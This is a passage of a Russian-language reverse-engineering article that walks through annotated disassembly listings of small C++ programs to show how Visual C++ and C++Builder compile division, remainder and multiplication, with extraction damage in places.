; var_f = cs:__real@42cc0000

                   movss xmm0, cs:__real@42cc0000
                   movss [rsp+58h+var_f], xmm0
                   movss xmm0, [rsp+58h+var_f]

; Инструкция DIVSS намекает на деление вещественных чисел 
одинарной точности

                   divss xmm0, cs:__real@41cc0000
                   movss [rsp+58h+var_24], xmm0

; var_24 = var_f / cs:__real@41cc0000
                   movss xmm1, [rsp+58h+var_f]
                   divss xmm1, cs:__real@424c0000

; XMM1 = var_f / cs:__real@424c0000
; Выводим строку

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout
; Первое слева вещественное число

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(float)

                      lea rdx, asc_14000330C ; " "
                     mov rcx, rax        ; _Ostr

; Пробел
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                   movss xmm0, [rsp+58h+var_24]
                  movaps xmm1, xmm0

                     mov rcx, rax
; Второе слева число

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(float)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
; std::endl

    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))

                     xor eax, eax
                     add rsp, 58h

               retn
main            endp

Вот такой неп ростой, но инте рес ный при мер получил ся, наш пигован ный опе- 
рато рами деления и опе ран дами раз ных типов.

Îïòèìèçèðîâàííûé âàðèàíò
А теперь, засучив рукава и глот нув пус тырни ка (или валерь янки), рас смот рим
опти мизи рован ный вари ант (ключ ) того же при мера (demo_divide):/Ox

 main            proc near               ; CODE XREF: 
__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
                     sub rsp, 28h
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                     mov edx, 2
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(uint)
                     mov rcx, rax        ; _Ostr
                     lea rdx, _Val       ; " "
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov rcx, rax
                     mov edx, 8
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(uint)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

  
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> & (*)(std::basic_ostream<char,std::char_traits<ch
ar>> &))

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout

                     mov edx, 8
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
                     mov rcx, rax        ; _Ostr
                      lea rdx, asc_1400032D4 ; " "
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov rcx, rax
                     mov edx, 19h
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

  
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> & (*)(std::basic_ostream<char,std::char_traits<ch
ar>> &))

                   movsd xmm1, cs:__real@4020240000000000
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(double)
                     mov rcx, rax        ; _Ostr
                      lea rdx, asc_1400032D8 ; " "
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                   movsd xmm1, cs:__real@402beb3e45306eb4

                     mov rcx, rax
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(double)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

  
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> & (*)(std::basic_ostream<char,std::char_traits<ch
ar>> &))

                   movss xmm1, cs:__real@40000000
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(float)
                     mov rcx, rax        ; _Ostr
                      lea rdx, asc_1400032DC ; " "
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                   movss xmm1, cs:__real@40800000

                     mov rcx, rax
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(float)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

  
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> & (*)(std::basic_ostream<char,std::char_traits<ch
ar>> &))

                     xor eax, eax
                     add rsp, 28h

               retn
main            endp

Ком мента рии здесь излишни: ком пилятор на эта пе тран сля ции под счи тал все
зна чения и передал их опе рато ру вывода. С дру гими клю чами ком пиляции — 

,  — ситу ация при мер но такая же.

/
O1 /O2

C++ Builder
Как спра вит ся с опти миза цией деления Embarcadero C++Builder? Рас смот рим
вари ант с отклю чен ной опти миза цией:

                public main

 main            proc near               ; DATA XREF: 
__acrtused+29↑o

   var_50          = qword ptr -50h
   var_48          = qword ptr -48h
   var_40          = qword ptr -40h
   var_38          = qword ptr -38h
   var_30          = qword ptr -30h
   var_28          = dword ptr -28h
   var_24          = dword ptr -24h
   var_20          = qword ptr -20h

   var_b          = dword ptr -18h
   var_a          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

                   push rbp
                     sub rsp, 70h
                     lea rbp, [rsp+70h]
                     lea rax, xmmword_43A598
                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx

; Инициализируем переменную var_a значением 512 в десятичной 
системе

                     mov [rbp+var_a], 200h
; Копируем значение переменной var_a в регистр ECX — делимое для 
первой операции

                     mov ecx, [rbp+var_a]
; Выполняем логический сдвиг вправо на восемь позиций, до этого 
не додумался даже Visual C++

                     shr ecx, 8
; Результат сдвига записываем в переменную var_28

                     mov [rbp+var_28], ecx
                     mov rcx, rax

; Готовим параметр для вывода
                     mov edx, [rbp+var_28]

; Выводим число
                   call std::ostream::operator<<(uint)

                     lea rdx, unk_42D050
                     mov rcx, rax

; Выводим пробел
    

  
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const*)
; Значение переменной var_a копируем в регистр R8D — делимое для 
второй операции

                     mov r8d, [rbp+var_a]
; Выполняем логический сдвиг вправо на шесть позиций

                     shr r8d, 6
                     mov rcx, rax

; Результат сдвига готовим для передачи в качестве параметра
                     mov edx, r8d

; Выводим результат
                   call std::ostream::operator<<(uint)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
; Выводим символ новой строки

      
 

               call std::ostream::operator<<(std::ostream & (*
)(std::ostream &))

                     lea rcx, xmmword_43A598
; В регистр R8D записываем число 32 в десятичной системе 
счисления — делитель

                      mov r8d, 20h ; ' '
; Инициализируем переменную var_b

                     mov [rbp+var_b], 100h
; В регистр R9D записываем число 256 в десятичной системе 
счисления — делимое

                     mov r9d, [rbp+var_b]
                     mov [rbp+var_30], rax

; Делимое помещаем в EAX
                     mov eax, r9d

; Расширяем EAX до четверного слова — EDX:EAX
               cdq

; Выполняем целочисленное деление с учетом знака, в R8D находится 
делитель

                   idiv r8d
; Результат сразу передаем на вывод

                     mov edx, eax
                   call std::ostream::operator<<(int)

                     lea rdx, unk_42D050
                     mov rcx, rax

; Выводим пробел
    

  
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const*)
; Место делителя занимает 0xA

                     mov r8d, 0Ah
; В R9D заносим делимое

                     mov r9d, [rbp+var_b]
                     mov [rbp+var_38], rax

; Делимое помещаем в EAX
                     mov eax, r9d

; Расширяем EAX до четверного слова — EDX:EAX
               cdq

; Выполняем целочисленное деление с учетом знака, в R8D находится 
делитель

                   idiv r8d
                     mov rcx, [rbp+var_38]

; Результат деления передаем на вывод
                     mov edx, eax
                   call std::ostream::operator<<(int)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
; Выводим символ начала новой строки

      
 

               call std::ostream::operator<<(std::ostream & (*
)(std::ostream &))

                     lea rcx, xmmword_43A598
; Копируем значения в регистры XMM0 и XMM1 из секции данных 
только для чтения

                    movsd xmm0, cs:qword_42D018 ; делитель
                    movsd xmm1, cs:qword_42D020 ; делимое
                   movsd [rbp+var_20], xmm1
                   movsd xmm1, [rbp+var_20]

; Операция деления вещественных значений двойной точности
                   divsd xmm1, xmm0

                     mov [rbp+var_40], rax
; Выводим результат из регистра XMM1

                   call std::ostream::operator<<(double)
                     lea rdx, unk_42D050
                     mov rcx, rax

; Выводим пробел
    

  
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const*)
                    movsd xmm0, cs:qword_42D010 ; Новый делитель
                    movsd xmm1, [rbp+var_20] ; Старое делимое

; Операция деления вещественных значений двойной точности
                   divsd xmm1, xmm0

                     mov rcx, rax
; Выводим число

                   call std::ostream::operator<<(double)
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
                     mov rcx, rax

; Выводим символ новой строки
      

 
               call std::ostream::operator<<(std::ostream & (*

)(std::ostream &))
                     lea rcx, xmmword_43A598

; Последняя пара операций деления вещественных значений одинарной 
точности, думаю, не требует дополнительных пояснений, мы уже 
достаточно натренировались на делении

                   movss xmm0, cs:dword_42D004
                   movss xmm1, cs:dword_42D008
                   movss [rbp+var_24], xmm1
                   movss xmm1, [rbp+var_24]
                   divss xmm1, xmm0

                     mov [rbp+var_48], rax
                   call std::ostream::operator<<(float)

                     lea rdx, unk_42D050
                     mov rcx, rax
    

  
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const*)
                   movss xmm0, cs:dword_42D000
                   movss xmm1, [rbp+var_24]
                   divss xmm1, xmm0

                     mov rcx, rax
                   call std::ostream::operator<<(float)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
      

 
               call std::ostream::operator<<(std::ostream & (*

)(std::ostream &))
                     mov [rbp+var_4], 0
                     mov [rbp+var_50], rax
                     mov eax, [rbp+var_4]
                     add rsp, 70h
                    pop rbp

               retn
main            endp

Срав нивая дизас сем блер ные лис тинги прог рамм, пос тро енных без опти миза- 
ции ком пилято рами Visual C++ и C++Builder, мож но ска зать, что отли чились
оба, при том в раз ных ситу ациях. На пер вой паре опе раций деления

    unsigned int a = 512;
            std::cout << a / 256 << " " << a / 64 << std::endl;

Visual C++ пос тупил пря моли ней но, при менив инс трук цию  в обо их слу чаях.

C++Builder про явил сме кал ку и вмес то деления исполь зовал логичес кий сдвиг
впра во (в пер вом и вто ром слу чаях на раз ное количес тво позиций, конеч но).

DIV

Од нако на вто рой паре опе раций нахож дения час тно го

   int b = 256;
            std::cout << b / 32 << " " << b / 10 << std::endl;

C++Builder бес хитрос тно вос поль зовал ся инс трук цией  в обо их слу чаях.

Тем не менее хотя Visual C++ эле мен тарно при вел вто рое сле ва выраже ние
b/10 к , зато над пер вым b/32 выпол нил осно ватель ную работу по опре- 
деле нию зна ка чис ла и ариф метичес кому сдви гу.

IDIV

IDIV

Две пос леду ющие пары деления вещес твен ных чисел ничем прин ципи аль- 
ным не отли чают ся.

Раз бирать пос тро енный C++Builder опти мизи рован ный вари ант не име ет
никако го смыс ла, в нем уже все заранее сге нери рова но, и ничего инте рес ного
мы там не уви дим, раз ве что мно жес твен ные вет вле ния.

Продолжение статьи →



НАХОДИМ МАТЕМАТИЧЕСКИЕ ОПЕРАТОРЫ В
ДИЗАССЕМБЛИРОВАННЫХ ПРОГРАММАХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÄÅÍÒÈÔÈÊÀÖÈß ÎÏÅÐÀÒÎÐÀ %
Спе циаль ной инс трук ции для вычис ления остатка в наборе команд мик ропро- 
цес соров серии 80x86 нет, вмес то это го оста ток с час тным воз вра щает ся инс- 
трук циями деления ,  и .DIV IDIV DIVSx

Ес ли делитель пред став ляет собой сте пень двой ки , а делимое —
без зна ковое чис ло, то оста ток будет равен  млад шим битам делимо го чис ла.
Если же делимое зна ковое, необ ходимо уста новить все биты, кро ме пер вых ,
рав ными зна ково му биту для сох ранения зна ка чис ла. При чем, если  пер вых
битов рав ны нулю, все биты резуль тата дол жны быть сбро шены незави симо
от зна чения зна ково го бита. С подоб ным при емом мы уже встре чались, ког да
раз бирали неоп тимизи рован ный при мер, под готов ленный Visual C++.

(2  = b)N

N
N

N

Та ким обра зом, если делимое — без зна ковое чис ло, то выраже ние 
тран сли рует ся в конс трук цию , в про тив ном слу чае тран сля ция ста- 

новит ся неод нознач на — ком пилятор может встав лять явную про вер ку
на равенс тво нулю с вет вле нием, а может исполь зовать хит рые матема тичес- 
кие алго рит мы, самый популяр ный из которых выг лядит так:

a % 2N

AND a, N

 DEC x
  OR x, -N
 INC x

Весь фокус в том, что если пер вые  битов чис ла  рав ны нулю, то все биты
резуль тата, кро ме стар шего, зна ково го бита, будут гаран тирован но рав ны 1,
a  при нуди тель но уста новит в еди ницу и стар ший бит, то есть

получит ся зна чение, рав ное . В свою оче редь,  даст ноль! Нап ротив,

если хотя бы один из  млад ших битов равен одно му, заимс тво вания из стар- 
ших битов не про исхо дит и  воз вра щает зна чению пер воначаль ный

резуль тат.

N x

OR x, –N
–1 INC –1

N
INC x

Прод винутые опти мизи рующие ком пилято ры могут путем слож ных пре- 
обра зова ний заменять деление рядом дру гих, более быс тро дей ству ющих опе- 
раций. К сожале нию, алго рит мов для быс тро го вычис ления остатка для всех

делите лей не сущес тву ет и делитель дол жен быть кра тен , где k и t —
целые чис ла. Тог да оста ток мож но вычис лить по сле дующей фор муле.

k · 2t

Да, эта фор мула очень слож на, и иден тифика ция опти мизи рован ного опе рато- 
ра % может быть весь ма и весь ма неп ростой, осо бен но учи тывая патоло гичес- 
кую любовь опти миза торов к изме нению поряд ка команд.

Рас смот рим при мер demo_remainder, который поз волит нам разоб рать ся
в иден тифика ции опе рато ра %:

#include <iostream>

 int main()
{
      int a = 22;
               std::cout << a % 16 << " " << a % 10 << std::endl;

}

Ре зуль тат выпол нения demo_remainder

Ре зуль тат его ком пиляции ком пилято ром Microsoft Visual C++ 2022 с отклю- 
чен ной опти миза цией дол жен выг лядеть так:

 main            proc near               ; CODE XREF: 
__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
   var_a          = dword ptr -18h
   var_14          = dword ptr -14h

; Резервируем память для локальных переменных
                     sub rsp, 38h

; Подготавливаем переменную var_a — делимое
                     mov [rsp+38h+var_a], 16h

; Копируем ее значение в EAX
                     mov eax, [rsp+38h+var_a]

; Расширяем EAX до четверного слова EDX:EAX
               cdq

; Заносим в ECX значение 0xA — делитель
                     mov ecx, 0Ah

; Делим EDX:EAX (var_a) на ECX (0xA)
                   idiv ecx

                     mov eax, edx
; Запоминаем остаток от деления var_a на 0xA в переменной var_14

                     mov [rsp+38h+var_14], eax
; Заносим в EAX значение переменной var_a

                     mov eax, [rsp+38h+var_a]
; Расширяем EAX до четверного слова EDX:EAX
               cdq

; «Вырезаем» знаковый бит числа
                     and edx, 0Fh

; Складываем, чтобы округлить до меньшего
                     add eax, edx

; «Вырезаем» четыре младших бита числа — в них содержится остаток 
от деления на 16

                     and eax, 0Fh
; Из остатка вычитаем показатель знака для сохранения знака числа

                     sub eax, edx

Мо жем подыто жить: пос ледние пять инс трук ций рас шифро выва ются как 

.

EAX =
var_a % 16

Го товим резуль тат для вывода, помещая его непос редс твен но в тре буемый
регистр:

                 mov edx, eax
      
 

           mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout

; Выводим первое слева число
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
                     lea rdx, _Val       ; " "
                     mov rcx, rax        ; _Ostr

; Выводим пробел
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov ecx, [rsp+38h+var_14]

; Сохраненный ранее результат загружаем из переменной, помещаем в 
регистр — готовим к выводу

                     mov edx, ecx
                     mov rcx, rax

; Выводим второе слева число
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
                     mov rcx, rax

; Выводим символ новой строки
    

  
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> & (*)(std::basic_ostream<char,std::char_traits<ch
ar>> &))
; std::cout << var_a % 16 << " " << var_a % 10 << std::endl;

                     xor eax, eax
                     add rsp, 38h

               retn
main            endp

Лю бопыт но, что опти миза ция не вли яет на алго ритм вычис ления остатка.
В опти мизи рован ном вари анте зна чения под став лены уже под счи тан ные. Увы,
ни Visual C++, ни осталь ные извес тные мне ком пилято ры не уме ют вычис лять
оста ток умно жени ем.

Продолжение статьи →



НАХОДИМ МАТЕМАТИЧЕСКИЕ ОПЕРАТОРЫ В
ДИЗАССЕМБЛИРОВАННЫХ ПРОГРАММАХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÄÅÍÒÈÔÈÊÀÖÈß ÎÏÅÐÀÒÎÐÀ *
В общем слу чае опе ратор * тран сли рует ся либо в машин ную инс трук цию 
(без зна ковое целочис ленное умно жение), либо в  (целочис ленное умно- 

жение со зна ком), либо в  (вещес твен ное умно жение в зависи мос ти

от поряд ка точ ности чисел).

MUL
IMUL

MULSx

Ес ли один из мно жите лей кра тен сте пени двой ки, то  обыч но

заменя ется коман дой битово го сдви га вле во  или инс трук цией , спо- 

соб ной умно жать содер жимое регис тров на 2, 4 и 8. Обе пос ледние коман ды
выпол няют ся за один такт, в то вре мя как  тре бует в зависи мос ти от модели

про цес сора от двух до девяти так тов.

MUL (IMUL)
SHL LEA

MUL

К тому же  за тот же такт успе вает сло жить резуль тат умно жения

с содер жимым регис тра обще го наз начения и/или кон стан той в при дачу.
Это поз воля ет умно жать на 3, 5 и 9, прос то добав ляя к умно жаемо му регис тру
его зна чение. Ну раз ве это не сказ ка? Прав да, у  есть один недочет — она

может вызывать оста нов ку AGI, в конеч ном сче те «съеда ющую» весь выиг рыш
в быс тро дей ствии. Сто ит отме тить, что проб лемой AGI стра дали толь ко ран ние
инте лов ские про цес соры, с Pentium Pro они этой «хворью» не боле ют. Поэто му
поль зовате лям сов ремен ных про цес соров линей ки Core вол новать ся об этом
не сто ит.

LEA

LEA

Рас смот рим при мер demo_mul, демонс три рующий иден тифика цию опе- 
рато ра * с опе ран дами раз ных типов:

#include <iostream>

 int main()
{
      int a = 2;
                       std::cout << a * 16 << " " << a * 4 + 5 << " " << a * 13 <<

std::endl;
      double d = 1.5;
                   std::cout << d * 3 << " " << d * 5 + a << " " << std::endl;
      float f = 2.2f;
         std::cout << f * 3 << std::endl;

}

Ре зуль тат выпол нения demo_mul

Ре зуль тат его ком пиляции ком пилято ром Microsoft Visual C++ 2022 с отклю- 
чен ной опти миза цией дол жен выг лядеть так:

 main            proc near               ; CODE XREF: 
__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
   var_a          = dword ptr -28h
   var_24          = dword ptr -24h
   var_20          = dword ptr -20h
   var_1C          = dword ptr -1Ch

   var_d          = qword ptr -18h
   var_10          = qword ptr -10h

; Резервируем место для локальных переменных
                     sub rsp, 48h

; Переменной var_a присваиваем значение 2
                     mov [rsp+48h+var_a], 2

; Умножаем var_a на 0xD, записывая результат в EAX
                     imul eax, [rsp+48h+var_a], 0Dh

; Перекладываем произведение из EAX в переменную var_20
                     mov [rsp+48h+var_20], eax

; Загружаем в ECX значение var_a
                     mov ecx, [rsp+48h+var_a]

; Умножаем RCX на 4 и добавляем к произведению 5, записывая 
результат в регистр ECX. И все это выполняется за один такт!

                     lea ecx, ds:5[rcx*4]
; Копируем результат выражения var_a * 4 + 5 в переменную var_24

                     mov [rsp+48h+var_24], ecx

 с тре мя опе ран дами выпол няет умно жение вто рого на тре тий, сох раняя

резуль тат в пер вый. Таким обра зом,  умно жаем на ... Пос той, а где
же обе щан ный сдвиг вле во в слу чае, ког да один из опе ран дов пред став ляет
сте пень двой ки? Похоже, ком пилятор решил, что в текущих усло виях от замены
опе рато ра не будет сущес твен ного выиг рыша.

IMUL
var_a 0x10

                   imul edx, [rsp+48h+var_a], 10h
; Готовим строку для вывода результатов выражений

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(int)

                     lea rdx, _Val       ; " "
                     mov rcx, rax        ; _Ostr
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov ecx, [rsp+48h+var_24]
                     mov edx, ecx
                     mov rcx, rax
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
                      lea rdx, asc_140003300 ; " "
                     mov rcx, rax        ; _Ostr
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov ecx, [rsp+48h+var_20]
                     mov edx, ecx
                     mov rcx, rax
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
                     mov rcx, rax
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))
; Загрузка вещественного значения двойной точности из секции 
данных только для чтения в регистр XMM0

                   movsd xmm0, cs:__real@3ff8000000000000
; Сохранение этого значения в переменную var_d

                   movsd [rsp+48h+var_d], xmm0
                   movsd xmm0, [rsp+48h+var_d]

; Умножение var_d на другое число, загруженное из секции данных 
только для чтения

                   mulsd xmm0, cs:__real@4014000000000000
; Преобразование знакового целого числа — var_a, занимающего два 
слова, в вещественное значение двойной точности

                 cvtsi2sd xmm1, [rsp+48h+var_a]
; Прибавление var_a к var_d с учетом разрядов и вещественности

                   addsd xmm0, xmm1
; Сохранение результата выражения var_d * 5 + var_a во временную 
переменную var_10

                   movsd [rsp+48h+var_10], xmm0
                   movsd xmm1, [rsp+48h+var_d]

; Умножение var_d на вещественное значение двойной точности, 
загруженное из сегмента данных только для чтения

                   mulsd xmm1, cs:__real@4008000000000000
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
; Выводим строку, содержащую результаты приведенных выше выражений

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(double)

                      lea rdx, asc_14000330C ; " "
                     mov rcx, rax        ; _Ostr
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                   movsd xmm0, [rsp+48h+var_10]
                  movaps xmm1, xmm0

                     mov rcx, rax
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(double)
                      lea rdx, asc_140003308 ; " "
                     mov rcx, rax        ; _Ostr
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
                     mov rcx, rax
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))
; Загружаем вещественное значение одинарной точности из сегмента 
данных

                   movss xmm0, cs:__real@400ccccd
                   movss [rsp+48h+var_1C], xmm0
                   movss xmm0, [rsp+48h+var_1C]

; Перемножаем два вещественных значения одинарной точности
                   mulss xmm0, cs:__real@40400000
                  movaps xmm1, xmm0

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout
; Формируем строку для вывода итогового результата предыдущего 
умножения

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(float)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))

                     xor eax, eax
                     add rsp, 48h

               retn
main            endp

А что будет, если ском пилиро вать этот при мер с клю чиком ? А будет вот
что:

/Ox

 main            proc near               ; CODE XREF: 
__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
                     sub rsp, 28h
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                      mov edx, 20h ; ' '
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
                     mov rcx, rax        ; _Ostr
                     lea rdx, _Val       ; " "
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov rcx, rax
                     mov edx, 0Dh
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
                     mov rcx, rax        ; _Ostr
                      lea rdx, asc_1400032D0 ; " "
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov rcx, rax
                     mov edx, 1Ah
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))

                   movsd xmm1, cs:__real@4012000000000000
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(double)
                     mov rcx, rax        ; _Ostr
                      lea rdx, asc_1400032DC ; " "
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                   movsd xmm1, cs:__real@4023000000000000

                     mov rcx, rax
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(double)
                     mov rcx, rax        ; _Ostr
                      lea rdx, asc_1400032D8 ; " "
    

   
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const *)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))

                   movss xmm1, cs:__real@40d33334
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(float)
                     mov rcx, rax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))

                     xor eax, eax
                     add rsp, 28h

               retn
main            endp

Ни одной локаль ной перемен ной, ни одно го про межу точ ного вычис ления! Все
выраже ния вычис ляют ся на эта пе ком пиляции, их резуль таты записы вают ся
пря миком в сек цию дан ных. При выпол нении прог рамме оста ется прос то заг- 
рузить эти дан ные и вывес ти на экран! Никако го твор ческо го про цес са…

C++ Builder
Пос мотрим, какой код сге нери рует на осно ве этой же прог раммы товарищ
Embarcadero C++Builder 10.4 с отклю чен ной опти миза цией:

 main            proc near               ; DATA XREF: 
__acrtused+29↑o

   var_40          = qword ptr -40h
   var_38          = qword ptr -38h
   var_30          = qword ptr -30h
   var_28          = dword ptr -28h

   var_f          = dword ptr -24h
   var_d          = qword ptr -20h
   var_a          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

                   push rbp
                     sub rsp, 60h
                     lea rbp, [rsp+60h]
                     lea rax, xmmword_43A4F8
                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx

; Инициализация переменной var_a значением 2
                     mov [rbp+var_a], 2

; Загружаем в ECX значение переменной var_a
                     mov ecx, [rbp+var_a]

; А C++ Builder, в отличие от Visual C++, вместо умножения на 
число в степени двойки применил логический сдвиг влево
; Умножаем var_a на 16 == var_a * (2 ^ 4)

